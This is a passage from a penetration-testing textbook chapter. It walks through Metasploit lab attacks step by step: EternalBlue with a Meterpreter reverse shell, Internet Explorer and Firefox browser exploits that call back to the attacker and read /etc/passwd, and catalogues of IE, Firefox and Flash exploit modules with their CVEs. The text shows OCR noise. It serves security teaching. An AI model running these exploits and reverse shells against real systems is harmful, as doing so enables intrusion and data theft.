run on the target and provides the attacker with a collection of features that allow them to control
their target. Meterpreter can be run in many ways; in some, the target system opens a port and
waits for the attacker to connect to that port. Because this approach is easily stopped by firewalls,
the usual approach is a reverse shell. In this case, the target system calls back to the attacking
system; this can be done over HTTP, HTTPS, or over a custom TCP port.

In this example, the attacker elects to use Meterpreter calling back over TCP.

msf exploit(msi7_010 eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse tcp

Once the payload is selected, additional options may need to be configured. The command
options lists the currently selected options for the exploit.

msf exploit(ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010 eternalblue):

Name Current Setting Required Description
GroomAllocations 12 yes Initial number of times to
groom the kernel pool.
GroomDelta 5 yes The amount to increase the
groom count by per try.
MaxExploitAttempts 3 yes The number of times to

retry the exploit.
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ProcessName spoolsv.exe yes Process to inject payload
into.

RHOST 10.0.15.210 yes The target address

RPORT 445 yes The target port (TCP)

SMBDomain . no (Optional) The Windows
domain to use for
authentication

SMBPass no (Optional) The password for
the specified username

SMBUser no (Optional) The username to
authenticate as

VerifyArch true yes Check if remote

architecture matches
exploit Target.

VerifyTarget true yes Check if remote OS matches
exploit Target.

Payload options (windows/x64/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Windows 7 and Server 2008 R2 (x64) All Service Packs

In this case, the required option, LHOST, still needs to be set. This is the address of the system
that the attacker will call back to. The simplest value here is the IP address of the Kali system
that is being used to launch the attack. In this case, when the attack is launched, Metasploit will
automatically configure a listener to handle the callback from the target.

msf exploit(ms17_010_eternalblue) > set lhost 10.0.2.2
lhost => 10.0.2.2

Note that the variable names in Metasploit are not case sensitive.
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Launching the Exploit

With the required options selected, the exploit can be launched with the command exploit or
the command run.

=
wn
-

exploit(ms17_010_eternalblue) > exploit
Started reverse TCP handler on 10.0.2.2:4444
10.0.15.210:445 - Connecting to target for exploitation.

*

*

[*]

[*]

[+] 10.0.15.210:445 - Connection established for exploitation.

[+] 10.0.15.210:445 - Target 0S selected valid for 0S indicated by SMB reply
[*] 10.0.15.210:445 - CORE raw buffer dump (42 bytes)

[*] 10.0.15.210:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65
73 Windows 7 Profes

[*] 10.0.15.210:445 - 0x00000010 73 69 6f 6e 61 6¢c 20 37 36 30 31 20 53 65 72
76 sional 7601 Serv

[*] 10.0.15.210:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1

[+] 10.0.15.210:445 - Target arch selected valid for arch indicated by DCE/RPC
reply

[*] 10.0.15.210:445 - Trying exploit with 12 Groom Allocations.

[*] 10.0.15.210:445 - Sending all but last fragment of exploit packet

[*] 10.0.15.210:445 - Starting non-paged pool grooming

[+] 10.0.15.210:445 - Sending SMBv2 buffers

[+] 10.0.15.210:445 - Closing SMBv1 connection creating free hole adjacent to
SMBv2 buffer.

10.0.15.210:445 - Sending final SMBv2 buffers.

*] 10.0.15.210:445 - Sending last fragment of exploit packet!

*] 10.0.15.210:445 - Receiving response from exploit packet

+] 10.0.15.210:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
10.0.15.210:445 - Sending egg to corrupted connection.

10.0.15.210:445 - Triggering free of corrupted buffer.

Sending stage (1188415 bytes) to 10.0.15.210

Meterpreter session 1 opened (10.0.2.2:4444 -> 10.0.15.210:62487) at 2017-08-20
14:07:25 -0400

[+] 10.0.15.210:445 - =-=-=-=-=-=Z-=-=-=-Z-Z-Z-Z-Z-Z-Z-Z-Z-Z-Z-Z-Z-Z-Z-Z-=-

[+] 10.0.15.210:445 - =-=-=-=-=-=z-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=_=-
[

L e e e e OO e e e e e TS e

*

meterpreter >

If the exploit reports that the connection timed out, this is often caused by a firewall on the
target. For the purposes of testing the exploit, consider disabling the firewall on the Windows
target.
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Interacting with Meterpreter

The change in the command prompt shows that the attacker is now interacting with Meterpreter
running on the remote system. The attacker can then issue commands and have them run on
the remote system. To determine basic information about the system, the Meterpreter command
sysinfo can be used.

meterpreter > sysinfo

Computer : EDGEWORTH

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en_US

Domain : PLUTO

Logged On Users : 2

Meterpreter : x64/windows

To determine the user ID that is being used to run Meterpreter, the command getuid
can be used.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

This exploit escalates privileges to SYSTEM on the target, but this is quite unusual; most
exploits simply provide access to the target and other exploits or techniques are needed before
gaining SYSTEM.

The attacker can interact with a traditional command prompt on the remote target by issuing
the shell command.

meterpreter > shell

Process 1816 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
To exit the shell and return to Meterpreter, press CTRL+Z.

C:\Windows\system32>Z
Background channel 1? [y/N] y
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Metasploit Sessions

When the attacker is done interacting with this target, they can use the background command.

meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms17_010_eternalblue) >

The attacker is now interacting with Metasploit rather than with the instance of Meterpreter
that has been deployed on the target at 10.0.15.210.

Metasploit can manage multiple sessions. To see the currently running sessions, the attacker
can use the sessions command. The command help sessions shows some of the options to the
sessions command.

msf exploit(ms17_010_eternalblue) > sessions

Active sessions

Id Type Information Connection

1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ EDGEWORTH 10.0.2.2:4444 ->
10.0.15.210:62487 (10.0.15.210)

msf exploit(ms17_010_eternalblue) > help sessions
Usage: sessions [options] or sessions [id]

Active session manipulation and interaction.
OPTIONS:

-C <opt> Run a Meterpreter Command on the session given with -i, or
all

-K Terminate all sessions

-S <opt> Row search filter.

-c <opt> Run a command on the session given with -i, or all

-h Help banner

-1 <opt> Interact with the supplied session ID

-k <opt> Terminate sessions by session ID and/or range

-1 List all active sessions
-q Quiet mode
- Reset the ring buffer for the session given with -i, or all

-s <opt> Run a script on the session given with -i, or all
-t <opt> Set a response timeout (default: 15)
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-u <opt> Upgrade a shell to a meterpreter session on many platforms
-v List sessions in verbose mode
-X Show extended information in the session table

Many options allow specifying session ranges using commas and dashes.
For example: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6

If the attacker wishes to continue interacting with the session established with 10.0.15.210,
they can return to the Meterpreter command prompt with

msf exploit(ms17_010 eternalblue) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Exiting Metasploit

If the attacker has finished their work with Metasploit entirely, then from the Metasploit
command prompt they can issue the command exit. If Metasploit currently has established
sessions with remote systems, the attacker needs to confirm the request to exit.

meterpreter > background

[*] Backgrounding session 1...

msf exploit(ms17_010_eternalblue) > exit

[*] You have active sessions open, to exit anyway type "exit -y"
msf exploit(ms17_010 eternalblue) > exit -y
root@kali-2016-2-u:~#

Metasploit: Attacking the Browser

Another way an attacker can obtain a shell on a remote system is by attacking the browser. To

do so, the attacker uses Metasploit to create a URL that hosts malicious code. The exploit code
targets a particular vulnerability, is (usually) specific to the browser and its patch level, and is
configured to provide a payload that the target executes. Once the victim browses to that URL, the
exploit runs. If the exploit is successful, the payload will execute and usually provide a way for the
attacker to interact with the target system.

Metasploit Modules for Internet Explorer

There are many exploits that can be used to attack particular versions of Internet Explorer and a
few that affect Firefox. In contrast, there are currently none available that target Chrome.
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The following Metasploit modules can be used to attack Internet Explorer directly. Each
listed exploit begins with a descriptive exploit title. Next is the name that is used to refer to the
exploit from within Metasploit. For Internet Explorer vulnerabilities, these usually take the
form exploit/windows/browser/<name>. Next is the CVE number for the vulnerability that is
being exploited and then the identifier for the Microsoft Security Bulletin that addresses the
vulnerability. This is followed by the version or versions of Windows and Internet Explorer that
the exploit can successfully attack. In some cases, additional software is required to be present on
the target for the exploit to function; if this is the case, it is noted.

e MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free
o exploit/windows/browser/ms11 003 ie css_import
e (CVE2010-3971, MS11-003
o Internet Explorer 8 on Windows 7 (including SP 1)

e Requires .NET 2.0.50727 installed on the target. This is included by
default on Windows 7 SP1.

e MSI11-081 Microsoft Internet Explorer Option Element Use-After-Free
o exploit/windows/browser/ms11 081 option
e (CVE2011-1996, MS11-081
¢ Internet Explorer 8 on Windows 7 (including SP1)
o Requires Java 6 on the target
e MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow
o exploit/windows/browser/ms12_037_ie colspan
¢ CVE2010-1876, MS12-037
¢ Internet Explorer 8 on Windows 7 (including SP1)
e Requires Java 6 on the target

o  MS13-008 Microsoft Internet Explorer CButton Object Use-After-Free
Vulnerability

o exploit/windows/browser/ie cbutton_uaf
e CVE 2012-4792, MS13-008
e Internet Explorer 8 on Windows 7 (including SP1)

e Requires Java 6 on the target

63



CHAPTER 2

64

BASIC OFFENSE

MS12-063 Microsoft Internet Explorer execCommand Use-After-Free
Vulnerability

o exploit/windows/browser/ie_execcommand uaf

e CVE 2012-4969, MS12-063

¢ Internet Explorer 8, 9 on Windows 7 (including SP1)
e Requires Java 6 on the target

MS13-038 Microsoft Internet Explorer CGenericElement Object Use-After-
Free Vulnerability

o exploit/windows/browser/ie_cgenericelement uaf
o CVE2013-1347, MS13-038

e Internet Explorer 8 on Windows 7 (including SP1)

e Requires Java 6 on the target

MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer
Overflow

o exploit/windows/browser/ms13_037_svg dashstyle

e CVE2013-2551, MS13-037

¢ Internet Explorer 8 on Windows 7 (SP1 only; x86)

MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free
o exploit/windows/browser/ms13_055_canchor

e (CVE2013-3163, MS13-055

¢ Internet Explorer 8 on Windows 7 (including SP1)

o Requires Java 6 on the target

MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free
o exploit/windows/browser/ms13_080 cdisplaypointer

e CVE2013-3897, MS13-080

e Internet Explorer 8 on Windows 7 (including SP1)

e Requires Java 6 on the target
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e MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free
e exploit/windows/browser/ms14 012 cmarkup uaf
o (CVE2014-0322, MS14-012
o Internet Explorer 10 on Windows 7 (including SP1)
¢ Requires Flash Player 12 on the target

e MS14-064 Microsoft Internet Explorer Windows OLE Automation Array
Remote Code Execution

o exploit/windows/browser/ms14 064 ole code execution
e (CVE2014-6332, MS 14-064

o Internet Explorer 8-11 on Windows 7 (including SP1)

Attack: MS13-055 CAnchorElement

To demonstrate the use of Metasploit to attack a browser, suppose an attacker targets Internet
Explorer 8 on a Windows 7 Service Pack 1 system with the MS13-055 CAnchorElement attack.
This is representative of the process needed for the other exploits.

Starting the Exploit

Start a Windows 7 Service Pack 1 virtual machine with Java 6 installed as the target. From
Metasploit on the attacker’s Kali system, select the exploit; choose the MS13-055 Microsoft
Internet Explorer CAnchorElement Use-After-Free attack by selecting the corresponding exploit
module with the use command.

msf > use exploit/windows/browser/ms13_055_canchor
msf exploit(ms13_055 canchor) > info

Name: MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free
Module: exploit/windows/browser/ms13_055_canchor
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2013-07-09
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... Output Deleted ...

Available targets:
Id Name
0 Automatic
IE 8 on Windows XP SP3
2 IE 8 on Windows 7

Basic options:

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on. This must
be an address on the local machine or
0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate
(default is randomly generated)

URIPATH no The URI to use for this exploit

(default is random)

Payload information:
Avoid: 1 characters

Description:
In IE8 standards mode, it's possible to cause a use-after-free
condition by first creating an illogical table tree, where a
CPhraseElement comes after CTableRow, with the final node being a
sub table element. When the CPhraseElement's outer content is reset
by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a
CAnchorElement, but some other objects apply too), but a reference
is still kept in function SRunPointer::SpanQualifier. This function
will then pass on the invalid reference to the next functions,
eventually used in mshtml!CElement::Doc when it's trying to make a
call to the object's SecurityContext virtual function at offset
+0x70, which results a crash. An attacker can take advantage of this
by first creating an CAnchorElement object, let it free, and then
replace the freed memory with another fake object. Successfully
doing so may allow arbitrary code execution under the context of the
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user. This bug is specific to Internet Explorer 8 only. It was
originally discovered by Jose Antonio Vazquez Gonzalez and reported
to iDefense, but was discovered again by Orange Tsai at Hitcon 2013.

... Output Deleted ...

Configuring the Exploit

Many Metasploit modules provide automatic targeting, including this exploit. In this case, the
target is known to be a Windows 7 system, so set the target appropriately using the set command.

msf exploit(ms13 055 canchor) > set target 2
target => 2

Most basic options are well explained by the info command; for example, the SRVHOST and
SRVPORT variables provide the IP address and port number that will be used to host the exploit.
The variable URIPATH is the URI for the exploit; if this is not changed, then a random URI will be
generated. Fix the URI to an innocuous value, say “bob”; after all, Bob is a builder, not a hacker.

msf exploit(ms13_055 canchor) > set uripath bob
uripath => bob

Choosing the Payload

At this point, the exploit is configured, but the payload is not. Once an exploit and a target have
been selected, the list of available payloads can be enumerated by the command

msf exploit(ms13_055 canchor) > show payloads

Compatible Payloads

Name Rank Description
generic/custom normal Custom Payload
generic/debug trap normal Generic x86 Debug Trap

generic/shell bind tcp normal Generic Command Shell, Bind TCP Inline
... Output Deleted ...

There are more than 150 possible payloads that are compatible with this exploit. These
payloads can be roughly classified by the payload’s action and communication method. Major
actions include the following:
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e running Meterpreter on the target,
e running a command shell on the target,
o running VNC on the target,
e running asingle command on the target, and
e uploading and executing a file or injecting a DLL.
Major communication methods include these:
e reverse connections, where the target calls back to the attacker, and
o forward connections, where the attacker calls out to the victim.

Select the Meterpreter payload that connects back to the attacker via reverse HTTPS with the
command

msf exploit(ms13_055 canchor) > set payload windows/meterpreter/reverse_https
msf exploit(ms13_055 canchor) > options

Module options (exploit/windows/browser/ms13 055 canchor):

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on. This must
be an address on the local machine or
0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate
(default is randomly generated)

URIPATH bob no The URI to use for this exploit

(default is random)

Payload options (windows/meterpreter/reverse https):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST yes The local listener hostname

LPORT 8443 yes The local listener port

LURI no The HTTP Path
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Exploit target:

Id Name

2 IE 8 on Windows 7

The only required option unset is the IP address of the Metasploit system that will catch the
callback from the victim. The simplest approach is to use the same system that is hosting the
exploit, though this is not required. To camouflage the connection and make it look more like real
HTTPS traffic, set the payload’s listening port to 443.

msf exploit(ms13_055 canchor) > set lhost 172.16.30.3
lhost => 172.16.30.3

msf exploit(ms13_055 canchor) > set lport 443

lport => 443

Launching the Exploit as a Background Job

The exploit is now ready to launch. To launch the exploit and have it run in the background as a
job, run

msf exploit(ms13_055 canchor) > exploit -j

] Exploit running as background job.

] Started HTTPS reverse handler on https://172.16.30.3:443
msf exploit(ms13_055_ canchor) >

] Using URL: http://0.0.0.0:8080/bob

] Local IP: http://172.16.30.3:8080/bob

] Server started.

Because the exploit was run as a background job, the command prompt reappeared while the
exploit was still writing to the screen; this is common.

Interacting with the Shell

Return to the Windows target and use Internet Explorer to browse to the URL specified in the
exploit. In the example, the server is running at 172.16.30.3, on port 8080, with URI bob, so visit
the page http://172.16.30.3:8080/bob. On the Windows system, the browser will simply hang
and crash; Task Manager (CTRL+ALT+DEL) may be needed to stop it.

On the Kali system, Metasploit reports the connection and notifies the attacker that a session
has been created.
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msf exploit(ms13_055 canchor) >

] Using URL: http://0.0.0.0:8080/bob

] Local IP: http://172.16.30.3:8080/bob
*] Server started.

] 172.16.30.12 ms13_055 canchor - Using JRE ROP

] 172.16.30.12 ms13_055_canchor - Sending exploit...
*] https://172.16.30.3:443 handling request from 172.16.30.12; (UUID: x5wgrq5l)
Staging x86 payload (958531 bytes) ..

[*] Meterpreter session 1 opened (172.16.30.3:443 -> 172.16.30.12:49202) at
2017-02-12 18:01:00 -0500

[*] Session ID 1 (172.16.30.3:443 -> 172.16.30.12:49202) processing
InitialAutoRunScript 'migrate -f'
[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]

To list the sessions, run the command
msf exploit(ms13 055 canchor) > sessions -1

Active sessions

Id Type Information Connection

1 meterpreter x86/windows SOHO\David Hilbert @ SOHO 172.16.30.3:443 ->
172.16.30.12:49202 (172.16.30.12)

To interact with the session from this target, use sessions -1i.

msf exploit(ms13 055 canchor) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo

Computer : SOHO

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows
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meterpreter > getuid
Server username: SOHO\David Hilbert

meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms13_055 canchor) >

Metasploit Modules for Firefox

There are many reliable exploit modules that can be used against Firefox. Most are cross-platform
and can successfully be used against both Windows and Linux targets.

e Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution
o exploit/multi/browser/firefox_proto crmfrequest
o CVE2012-3993
e  Firefox 5.0 - 15.0.1 on Windows or Linux

o Firefox 17.0.1 Flash Privileged Code Injection
o exploit/multi/browser/firefox_svg plugin
e (CVE2013-0757, CVE 2013-0758
o Flashis required on the target
e Firefox 17, 17.0.1 on Windows or Linux

« Firefox toString console.time Privileged Javascript Injection
o exploit/multi/browser/firefox tostring console injection
e CVE2013-1710
e  Firefox 15 - 22 on Windows or Linux

o Firefox WebIDL Privileged Javascript Injection
o exploit/multi/browser/firefox webidl injection
e (CVE2014-1510, CVE 2014-1511

o Firefox 22 - 27 on Windows or Linux
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o  Firefox Proxy Prototype Privileged Javascript Injection

exploit/multi/browser/firefox_proxy prototype
CVE 2014-8636; CVE 2015-0802
User needs to click on the browser to start the exploit

Firefox 31-34 on Windows or Linux

o Firefox PDEjs Privileged Javascript Injection

exploit/multi/browser/firefox_pdfjs_privilege escalation
CVE 2015-0802; CVE 2015-0816
User needs to click on the browser to start the exploit

Firefox 35-36 on Windows or Linux

e  Firefox nsSMILTimeContainer::NotifyTimeChange() RCE

exploit/windows/browser/firefox_smil uaf
CVE 2016-9079

Firefox 38-41 on Windows

Metasploit also has a module that can be used in social engineering attacks. It provides

the user with a malicious add-on for Firefox. If the user runs the presented . xp1i file, a shell is

presented to the attacker.

e Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution

exploit/multi/browser/firefox xpi_bootstrapped addon
The user must manually choose to run the .xpi add on file

Firefox on Windows or Linux

Attack: Firefox Proxy Prototype Privileged Javascript

Injection

Firefox is attacked using the same techniques that are used against Internet Explorer. The attacker

uses Metasploit to set up a web server hosting the exploit code and waits until the user of a

vulnerable system browses to the web server. The exploit launches, and the payload is executed

on the victim’s system. If the payload is interactive, then the attacker can continue to interact with

the victim'’s system.
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To demonstrate the process, start an OpenSuSE 13.2 system; it includes Firefox 33.0 by
default, and so it is vulnerable to the Firefox Proxy Prototype Privileged Javascript Injection attack.

Configuring the Exploit

On Kali, start the PostgreSQL server if it has not been started, then run msfconsole from the
command line. Select the exploit

mst > use exploit/multi/browser/firefox_proxy prototype
msf exploit(firefox_proxy prototype) > info

Name: Firefox Proxy Prototype Privileged Javascript Injection
Module: exploit/multi/browser/firefox_proxy prototype
Platform:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2014-01-20

... Output Deleted ...

Available targets:
Id Name

Universal (Javascript XPCOM Shell)
1 Native Payload

Basic options:

Name Current Setting Required Description

CONTENT no Content to display inside the HTML
<body>.

Retries true no Allow the browser to retry the module

SRVHOST 0.0.0.0 yes The local host to listen on. This must
be an address on the local machine or
0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate
(default is randomly generated)

URIPATH no The URI to use for this exploit

(default is random)
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Payload information:

Description:
This exploit gains remote code execution on Firefox 31-34 by abusing
a bug in the XPConnect component and gaining a reference to the
privileged chrome:// window. This exploit requires the user to click
anywhere on the page to trigger the vulnerability.

... Output Deleted ...

This module has two classes of targets: a JavaScript target that is appropriate for most
systems, and a native payload that needs to match the architecture of the connecting system.
Select the default JavaScript target, and configure the URIPATH.

msf exploit(firefox_proxy prototype) > set target 0
target => 0

msf exploit(firefox proxy prototype) > set uripath bob
uripath => bob

Configuring the Payload
The JavaScript XPCOM Shell only allows a few possible payloads.
msf exploit(firefox_proxy prototype) > show payloads

Compatible Payloads

Name Rank Description

firefox/exec normal Firefox XPCOM Execute Command

firefox/shell bind_tcp normal Command Shell, Bind TCP (via Firefox
XPCOM script)

firefox/shell reverse tcp normal Command Shell, Reverse TCP (via
Firefox XPCOM script)

generic/custom normal Custom Payload

generic/shell bind tcp normal Generic Command Shell, Bind TCP Inline

generic/shell reverse tcp normal Generic Command Shell, Reverse TCP
Inline

Select the Firefox shell using reverse TCP. The listening host must be set, though the listening
port (TCP/4444) can be left in its default state.
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msf exploit(firefox_proxy prototype) > set payload firefox/shell_reverse_tcp
payload => firefox/shell reverse tcp

msf exploit(firefox_proxy prototype) > set lhost 10.0.2.2

lhost => 10.0.2.2

msf exploit(firefox_proxy prototype) > show options

Module options (exploit/multi/browser/firefox_proxy prototype):

Name Current Setting Required Description

CONTENT no Content to display inside the HTML
<body>.

Retries true no Allow the browser to retry the module

SRVHOST 0.0.0.0 yes The local host to listen on. This must
be an address on the local machine or
0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate
(default is randomly generated)

URIPATH bob no The URI to use for this exploit

(default is random)
Payload options (firefox/shell reverse tcp):

Name Current Setting Required Description

LHOST 10.0.2.2 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Universal (Javascript XPCOM Shell)

Launching the Exploit as a Background Job

Start the exploit as a job by running

msf exploit(firefox proxy prototype) > exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 10.0.2.2:4444
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[*] Using URL: http://0.0.0.0:8080/bob
msf exploit(firefox proxy prototype) >
[*] Local IP: http://10.0.2.2:8080/bob
[*] Server started.

Interacting with the Shell

On the OpenSuSE 13.2 system, use Firefox to navigate to the malicious content, hosted in this
example at http://10.0.2.2:8080/bob. The user is presented with a page saying that the page
has moved and to click to redirect. As soon as the user clicks in the browser, the attacker is
notified that a session has been established.

[*] 10.0.2.93 firefox_proxy prototype - Gathering target information for 10.0.2.93
[*] 10.0.2.93 firefox proxy prototype - Sending HTML response to 10.0.2.93

[*] Command shell session 1 opened (10.0.2.2:4444 -> 10.0.2.93:51118) at 2017-02-
19 12:52:44 -0500

msf exploit(firefox_proxy prototype) > sessions -1

Active sessions

Id Type Information Connection
1 shell firefox/firefox 10.0.2.2:4444 -> 10.0.2.93:51118
(10.0.2.93)

Interact with the shell by running the command

msf exploit(firefox_proto_crmfrequest) > sessions -i 1
[*] Starting interaction with 1...

It may appear that nothing has occurred; this is not the case. Instead, shell commands can be
run as if the attacker had a shell on the system but without a prompt.

msf exploit(firefox_proxy prototype) > sessions -i 1
[*] Starting interaction with 1...

1s

bin

Desktop

Documents

Downloads

Music

Pictures
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Public

public_html

Templates

Videos

cat /etc/passud

at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
avahi:x:487:486:User for Avahi:/run/avahi-daemon:/bin/false

... Output Deleted ...

egalois:x:1000:100:Evariste Galois:/home/egalois:/bin/bash
vboxadd:x:485:1::/var/run/vboxadd:/bin/false

The session can be moved to the background by pressing CTRL+Z.

~Z
Background session 1? [y/N] y
msf exploit(firefox_proto_crmfrequest) >

Metasploit: Attacking Flash

It is possible to attack a component of the browser, rather than the browser itself. One common
browser plugin is Adobe Flash Player, and there are reliable Metasploit modules that attack the
Flash plugin on Windows systems. Beginning with Windows 8, Microsoft includes a version of
Adobe Flash Player in the default installation configured for Internet Explorer and Edge. Windows
8 includes Adobe Flash Player 11.3.372, Windows 8.1 includes 11.8.800, the initial Windows 10
release (version 1504, build 10240) includes Adobe Flash Player 18.0.0, while the anniversary
edition (version 1607, build 14393) includes Adobe Flash Player 22.0.0, and the Fall Creator’s
update (version 1709) includes Adobe Flash Player 27.0.0.

Metasploit Modules for Adobe Flash Player

The following are reliable attacks against Adobe Flash Player. This list includes the description of
the attack, the Metasploit name, and the CVE number of the corresponding vulnerability as well
as the browser(s) and operating system(s) that can be affected. Many exploits affect a wide range
of Flash Player versions; this list includes some of the commonly exploitable versions but is not
exhaustive. If the exploit requires additional software to be present on the target, it is also noted.

e Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability
o exploit/windows/browser/adobe flashplayer flashi0o

o CVE2011-0611
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Internet Explorer 8 on Windows 7 (including SP1)
Flash Player 10, up to 10.2.153

Requires Java on the target

Adobe Flash Player Regular Expression Heap Overflow

exploit/windows/browser/adobe_flash_regex value
CVE 2013-0643

Internet Explorer 8 on Windows 7 (including SP1)
Flash Player 11.5, up to 11.5.502.146

Requires Java on the Target

Adobe Flash Player Integer Underflow Remote Code Execution

exploit/windows/browser/adobe_flash_avm2
CVE 2014-0497
Internet Explorer 8, 9, or 10 on Windows 7 (including SP1) or Windows 8

Flash Player 11.3 up to 11.3.372.94, Flash Player 11.7 up to 11.7.700.202
and other versions. The default Windows 8 included version of Flash is
vulnerable.

Adobe Flash Player Shader Buffer Overflow

exploit/multi/browser/adobe_flash pixel bender bof
CVE 2014-0515

Windows 7 (including SP1) or Windows 8.1 (not Windows 8) or Linux,
32-bit

On Windows, either Internet Explorer or Firefox; on Linux, Firefox.

On Windows, Flash Player 11 up to 11.7.700.275, Flash Player 12,
or Flash Player 13 up to 13.0.0.182. On Linux, Flash Player 11 up to
11.2.202.350.

Adobe Flash Player copyPixelsToByteArray Method Integer Overflow

exploit/windows/browser/adobe_flash _copy pixels to byte array
CVE 2014-0556

Windows 7 (including SP1) or Windows 8.1 (not Windows 8)
32-bit
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o Internet Explorer or Firefox

e Adobe Flash Player 14 up to 14.0.0.179

Adobe Flash Player casi32 Integer Overflow

o exploit/windows/browser/adobe flash _casi32_int overflow
e (CVE2014-0569

¢ Windows 7 (including SP1), 32-bit

o Internet Explorer

¢ Adobe Flash Player 15 up to 15.0.0.167

Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory

o exploit/windows/browser/adobe flash uncompress zlib
uninitialized

o (CVE2014-8440

¢ Windows 7 (including SP1), Windows 8.1 (not Windows 8) 32-bit
¢ Internet Explorer or Firefox

e Adobe Flash 15 up to 15.0.0.189

Adobe Flash Player PCRE Regex Vulnerability

o exploit/windows/browser/adobe flash pcre

o (CVE2015-0138

¢ Windows 7 (including SP1)

¢ Internet Explorer

o Adobe Flash Player 16 up to 16.0.0.235

Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free
o exploit/multi/browser/adobe flash_uncompress zlib_uaf

o CVE2015-0311

¢ Windows 7 (including SP1) or Windows 8.1 (not Windows 8) or Linux,
32-bit

o Internet Explorer or Firefox

¢ On Windows, Adobe Flash Player 16 up to 16.0.0.287. On Linux, Adobe
Flash Player 11 up to 11.2.202.438.
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e Adobe Flash Player ByteArray With Workers Use After Free
o exploit/windows/browser/adobe flash worker byte array uaf
o (CVE2015-0313
¢«  Windows 7 or Windows 8.1 (not Windows 8) 32-bit
o Firefox or Internet Explorer
e Adobe Flash 16 up to 16.0.0.296
e Adobe Flash Player NetConnection Type Confusion
o exploit/multi/browser/adobe flash net_connection_confusion
o CVE2015-0336

¢ Windows 7 (including SP1) or Windows 8.1 (not Windows 8) or Linux,
32-bit.

o Internet Explorer or Firefox

e On Windows, Flash Player 16 up to 16.0.0.305. On Linux, Flash Player up
to 11.2.202.442.

e Adobe Flash Player domainMemory ByteArray Use After Free
o exploit/windows/browser/adobe flash domain memory uaf
¢ (CVE2015-0359

¢ Windows 7 (including SP1) or Windows 8.1 (not Windows 8),
32-bit

o Firefox or Internet Explorer
o Adobe Flash Player 17 up to 17.0.0.134
e Adobe Flash Player Shader]Job Buffer Overflow
o exploit/multi/browser/adobe flash_shader job_overflow
e CVE2015-3090

¢ Windows 7 (including SP1) or Windows 8.1 (not Windows 8) or Linux,
32-bit.

o Internet Explorer or Firefox

¢ On Windows, Flash Player 17 up to 17.0.0.169. On Linux, Flash Player 11
up to 11.2.202.457.

80



CHAPTER 2  BASIC OFFENSE

Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow

exploit/multi/browser/adobe_flash nellymoser bof
CVE 2015-3043, CVE 2015-3113

Windows 7 (including SP1) or Windows 8.1 (not Windows 8) or
Linux, 32-bit

Internet Explorer or Firefox

On Windows, Flash Player 17 up to 17.0.0.169 or Flash Player 18
up to 18.0.0.161. On Linux, Flash Player up to 11.2.202.466 but not
11.2.202.457.

Adobe Flash Player Drawing Fill Shader Memory Corruption

exploit/multi/browser/adobe_flash_shader drawing fill
CVE 2015-3105

Windows 7 (including SP1) or Windows 8.1 (not Windows 8) or
Linux, 32-bit.

Internet Explorer or Firefox

On Windows, Flash Player 17 up to 17.0.0.188. On Linux, Flash Player 11
up to 11.2.202.460.

Adobe Flash Player ByteArray Use After Free

exploit/multi/browser/adobe flash hacking team uaf
CVE 2015-5119

Windows 7 (including SP1) or Windows 8.1 (not Windows 8) or Linux,
32-bit.

Internet Explorer or Firefox

On Windows, Adobe Flash Player up to 18.0.0.194; on Linux Adobe
Flash Player up to 11.2.202.468.

Adobe Flash opaqueBackground Use After Free

exploit/multi/browser/adobe flash_opaque_background uaf

